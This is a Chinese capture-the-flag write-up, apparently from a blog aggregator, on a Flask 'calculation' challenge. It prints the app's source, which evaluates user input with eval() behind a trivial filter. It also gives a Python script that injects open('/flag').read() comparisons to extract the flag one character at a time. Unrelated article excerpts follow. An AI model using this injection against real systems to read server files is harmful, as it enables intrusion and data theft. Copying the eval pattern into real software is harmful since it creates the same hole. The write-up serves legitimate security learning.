当前位置: 首页 > news >正文

【web】-flask-简单的计算题(不简单)

打开页面是这样的

初步思路,打开F12,查看头,都发现了这个表达式的base64加密字符串。编写脚本提交答案,发现不对;

无奈点开source发现源代码,是flask,初始化表达式,获取提交的表达式,赋值新的表达式,没发现有什么问题,但是eval是个危险函数,前后端没有严格的过滤,这个可以利用,输入:(-497559)+(969608)+(-255632)+(587860)+(716596)  and 1==1 后提示Congratulations。source代码和实现代码如下


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import create
import osapp = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)## flag is in /flag try to get it@app.route('/', methods=['GET', 'POST'])
def index():def filter(string):if "or" in string:return "hack"return stringif request.method == 'POST':input = request.form['input']create_question = create()input_question = session.get('question')session['question'] = create_questionif input_question==None:return render_template('index.html', answer="Invalid session please try again!", question=create_question)if filter(input)=="hack":return render_template('index.html', answer="hack", question=create_question)try:calc_result = str((eval(input_question + "=" + str(input))))if calc_result == 'True':result = "Congratulations"elif calc_result == 'False':result = "Error"else:result = "Invalid"except:result = "Invalid"return render_template('index.html', answer=result,question=create_question)if request.method == 'GET':create_question = create()session['question'] = create_questionreturn render_template('index.html',question=create_question)@app.route('/source')
def source():return open("app.py", "r").read()if __name__ == '__main__':app.run(host="0.0.0.0", debug=False)
import requests
import redef main():alphabet = ['{','}', '@', '_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']url='ip'data={"input":""}s = requests.Session()flag = ''for i in range(0,100):for char in alphabet:try:r = s.get(url)question = re.search(r"<h4>(.*)</h4>", r.text.decode(), re.M|re.I).group().replace("<h4>", "").replace("</h4>","")[:-1]data["input"] = "{0} and '{2}'==(open('/flag','r').read()[{1}])".format(question, i, char)r = s.post(url, data=data)result = r.content.decode()if r"Congratulations" in result:flag += charprint(flag)breakexcept Exception as e:print("Exception: ", end='')print(e)
if __name__ == '__main__':main()

运行后得到flag : DASCTF{53a6ee70a3e8c013e2b1dbb2b926d3b2}

相关文章:

【web】-flask-简单的计算题(不简单)

打开页面是这样的 初步思路&#xff0c;打开F12&#xff0c;查看头&#xff0c;都发现了这个表达式的base64加密字符串。编写脚本提交答案&#xff0c;发现不对&#xff1b; 无奈点开source发现源代码&#xff0c;是flask,初始化表达式&#xff0c;获取提交的表达式&#xff0…...

Apache Sqoop

Apache Sqoop是一个开源工具&#xff0c;用于在Apache Hadoop和关系型数据库&#xff08;如MySQL、Oracle、PostgreSQL等&#xff09;之间进行数据的批量传输。其主要功能包括&#xff1a; 1. 数据导入&#xff1a;从关系型数据库&#xff08;如MySQL、Oracle等&#xff09;中将…...

【Python】TensorFlow介绍与实战

TensorFlow介绍与使用 1. 前言 在人工智能领域的快速发展中&#xff0c;深度学习框架的选择至关重要。TensorFlow 以其灵活性和强大的社区支持&#xff0c;成为了许多研究者和开发者的首选。本文将进一步扩展对 TensorFlow 的介绍&#xff0c;包括其优势、应用场景以及在最新…...

第100+16步 ChatGPT学习:R实现Xgboost分类

基于R 4.2.2版本演示 一、写在前面 有不少大佬问做机器学习分类能不能用R语言&#xff0c;不想学Python咯。 答曰&#xff1a;可&#xff01;用GPT或者Kimi转一下就得了呗。 加上最近也没啥内容写了&#xff0c;就帮各位搬运一下吧。 二、R代码实现Xgboost分类 &#xff08…...

【操作系统】定时器(Timer)的实现

这里写目录标题 定时器一、定时器是什么二、标准库中的定时器三、实现定时器 定时器 一、定时器是什么 定时器也是软件开发中的⼀个重要组件.类似于⼀个"闹钟".达到⼀个设定的时间之后,就执行某个指定 好的代码. 定时器是⼀种实际开发中⾮常常用的组件. ⽐如⽹络通…...

鸿蒙Navigation路由能力汇总

基本使用步骤&#xff1a; 1、新增配置文件router_map&#xff1a; 2、在moudle.json5中添加刚才新增的router_map配置&#xff1a; 3、使用方法&#xff1a; 属性汇总&#xff1a; https://developer.huawei.com/consumer/cn/doc/harmonyos-references/ts-basic-compone…...

​1:1公有云能力整体输出,腾讯云“七剑”下云端

【全球云观察 &#xff5c; 科技热点关注】 曾几何时&#xff0c;云计算技术的兴起&#xff0c;为千行万业的数字化创新带来了诸多新机遇&#xff0c;同时也催生了新产业新业态新模式&#xff0c;激发出高质量发展的科技新动能。很显然&#xff0c;如今的云创新已成为高质量发…...

【iOS】APP仿写——网易云音乐

网易云音乐 启动页发现定时器控制轮播图UIButtonConfiguration 发现换头像 我的总结 启动页 这里我的启动页是使用Xcode自带的启动功能&#xff0c;将图片放置在LaunchScreen中即可。这里也可以通过定时器控制&#xff0c;来实现启动的效果 效果图&#xff1a; 这里放一篇大…...

react 快速入门思维导图

在掌握了react中一下的几个步骤和语法&#xff0c;基本上就可以熟练的使用react了。 1、组件的使用。react创建组件主要是类组件和函数式组件&#xff0c;类组件有生命周期&#xff0c;而函数式组件没有。 2、jsx语法。react主要使用jsx语法&#xff0c;需要使用babel和webpa…...

微软研究人员为电子表格应用开发了专用人工智能LLM

微软的 Copilot 生成式人工智能助手现已成为该公司许多软件应用程序的一部分。其中包括 Excel 电子表格应用程序&#xff0c;用户可以在其中输入文本提示来帮助处理某些选项。微软的一组研究人员一直在研究一种新的人工智能大型语言模型&#xff0c;这种模型是专门为 Excel、Go…...

[算法题]两个链表的第一个公共结点

题目链接: 两个链表的第一个公共结点 图示: 两个链表如果长度一致, 那么两人同时一人走一步, 如果存在公共结点, 迟早会相遇, 但是如果长度不一致单存在公共结点, 两人同时一人走一步不会相遇, 此时定义两个变量, node1 和 node2, 这两个变量分别从 x1 和 x2 开始走, 当其走完…...

MySQL事务管理(上)

目录 前言 CURD不加控制&#xff0c;会有什么问题&#xff1f; CURD满足什么属性&#xff0c;能解决上述问题&#xff1f; 事务 什么是事务&#xff1f; 为什么会出现事务 事务的版本支持 事务提交方式 查看事务提交方式 改变 MySQL 的自动提交模式: 事务常见操作方式 前…...

HTML2048小游戏

源代码在效果图后面 效果图 源代码 <!DOCTYPE html> <html lang"zh-CN"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>2048 Game&l…...

为 android编译 luajit库、 交叉编译

时间&#xff1a;20200719 本机环境&#xff1a;iMac2017 macOS11.4 参考: 官方的文档&#xff1a;Use the NDK with other build systems 写在前边&#xff1a;交叉编译跟普通编译类似&#xff0c;无非是利用特殊的编译器、链接器生成动态或静态库; make 本质上是按照 Make…...

【音视频】音频重采样

文章目录 前言音频重采样的基本概念音频重采样的原因1. 设备兼容性2. 文件大小和带宽3. 音质优化4. 标准化和规范5. 多媒体同步6. 降低处理负载重采样的注意事项 总结 前言 音频重采样是指将音频文件的采样率转换成另一种采样率的过程。这在音频处理和传输中是一个常见且重要的…...

卷积神经网络学习问题总结

问题一&#xff1a; 深度学习中的损失函数和应用场景 回归任务&#xff1a; 均方误差函数&#xff08;MSE&#xff09;适用于回归任务&#xff0c;如预测房价、预测股票价格等。 import torch.nn as nn loss_fn nn.MSELoss() 分类任务&#xff1a; 交叉熵损失函数&…...

嵌入式面试总结

C语言中struct和union的区别 struct和union都是常见的复合结构。 结构体和联合体虽然都是由多个不同的数据类型成员组成的&#xff0c;但不同之处在于联合体中所有成员共用一块地址空间&#xff0c;即联合体只存放了一个被选中的成员&#xff0c;结构体中所有成员占用空间是累…...

超简单安装指定版本的clickhouse

超简单安装指定版本的clickhouse 命令执行shell脚本 idea连接 命令执行 参考官网 # 下载脚本 wget https://raw.githubusercontent.com/183461750/doc-record/d988dced891d70b23c153a3bbfecee67902a3757/middleware/data/clickhouse/clickhouse-install.sh # 执行安装脚本(中…...

FlowUs横向对比几款笔记应用的优势所在

FlowUs作为一个本土化的生产力工具&#xff0c;在中国市场的环境下相对于Notion有其独特的优势&#xff0c;尤其是在稳定性和模板适应性方面。 尽管Notion在笔记和生产力工具领域享有极高的声誉&#xff0c;拥有着诸多创新功能和强大的生态系统&#xff0c;但它并不一定适合每…...

收银系统源码-千呼新零售收银视频介绍

千呼新零售2.0系统是零售行业连锁店一体化收银系统&#xff0c;包括线下收银线上商城连锁店管理ERP管理商品管理供应商管理会员营销等功能为一体&#xff0c;线上线下数据全部打通。 适用于商超、便利店、水果、生鲜、母婴、服装、零食、百货、宠物等连锁店使用。 详细介绍请…...

自动化生产管理平台(Automatic)

1&#xff0c;自动化生产管理平台(Automatic) 1.1&#xff0c;重新定义Window样式 添加WindowChrome元素进行自定义定义 <Window x:Class"lzg.Automatic.MainWindow"xmlns"http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x"…...

2025年项目管理工具TOP10:Gitee引领技术驱动新浪潮

1.Gitee&#xff08;码云&#xff09;&#xff1a;代码与管理的双核引擎 作为中国最大的代码托管平台&#xff0c;Gitee在2025年全面升级项目管理模块&#xff0c;成为技术团队的首选工具。其核心优势在于&#xff1a; 开发与协作无缝衔接&#xff1a;代码提交直接关联任务看板…...

Power Automate调用Azure Foundry智能体

Power Automate调用Azure Foundry智能体一、创建Foundry智能体二、发送HTTP请求&#xff0c;调用Foundry智能体三、拓展一、创建Foundry智能体 先从创建开始吧 填好&#xff0c;然后直接审阅并创建就行了。一个资源下可以创建多个项目 转到资源 转到门户 这里有API密钥&…...

观察Taotoken用量看板如何帮助团队透明化管理API成本

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 观察Taotoken用量看板如何帮助团队透明化管理API成本 作为团队的技术负责人&#xff0c;管理大模型API成本是一项持续且细致的工作…...

基于GitHub Webhook的自动化协作平台:Octopal架构设计与实现

1. 项目概述&#xff1a;一个面向开发者的开源协作平台最近在GitHub上看到一个挺有意思的项目&#xff0c;叫“pmbstyle/Octopal”。光看名字&#xff0c;你可能会联想到“Octopus”&#xff08;章鱼&#xff09;和“GitHub”&#xff08;其吉祥物是章鱼猫Octocat&#xff09;&…...

《QGIS空间数据处理与高级制图》008:OGR2OGR命令行工具核心优势

作者:翰墨之道,毕业于国际知名大学空间信息与计算机专业,获硕士学位,现任国内时空智能领域资深专家、CSDN知名技术博主。多年来深耕地理信息与时空智能核心技术研发,精通 QGIS、GrassGIS、OSG、OsgEarth、UE、Cesium、OpenLayers、Leaflet、MapBox 等主流工具与框架,兼具…...

Cap框架解析:模块化开发者工具箱的设计哲学与核心实践

1. 项目概述&#xff1a;一个面向开发者的现代化软件工具箱最近在GitHub上看到一个挺有意思的项目&#xff0c;叫“CapSoftware/Cap”。乍一看这个名字&#xff0c;可能会联想到“Cap”这个英文单词的多种含义——帽子、上限、或者电容的单位。但在软件开发的语境里&#xff0c…...

为什么92%的DeepSeek私有化部署在K8s上遭遇OOMKilled?——GPU内存隔离、vLLM适配与cgroups v2调优三重解法

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;DeepSeek私有化部署的Kubernetes现状与OOMKilled困局 当前&#xff0c;DeepSeek系列大模型在企业私有化场景中广泛采用Kubernetes进行容器化编排部署。然而&#xff0c;实际落地过程中&#xff0c;内存…...

对比直接使用官方 API,Taotoken 在批量处理任务中的用量可视化优势

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 对比直接使用官方 API&#xff0c;Taotoken 在批量处理任务中的用量可视化优势 当开发团队或个人开发者需要处理大量文本生成任务时…...

京城汤泉夜宿体验:寻找最舒适的放松之地

引言在快节奏的城市生活中&#xff0c;越来越多的人开始追求一种能够彻底放松身心的方式。洗浴汤泉作为其中的一种选择&#xff0c;以其独特的魅力吸引了众多都市人。本文将带您走进京城的洗浴汤泉世界&#xff0c;特别介绍合韵汤泉&#xff0c;帮助您找到最适合自己的放松之地…...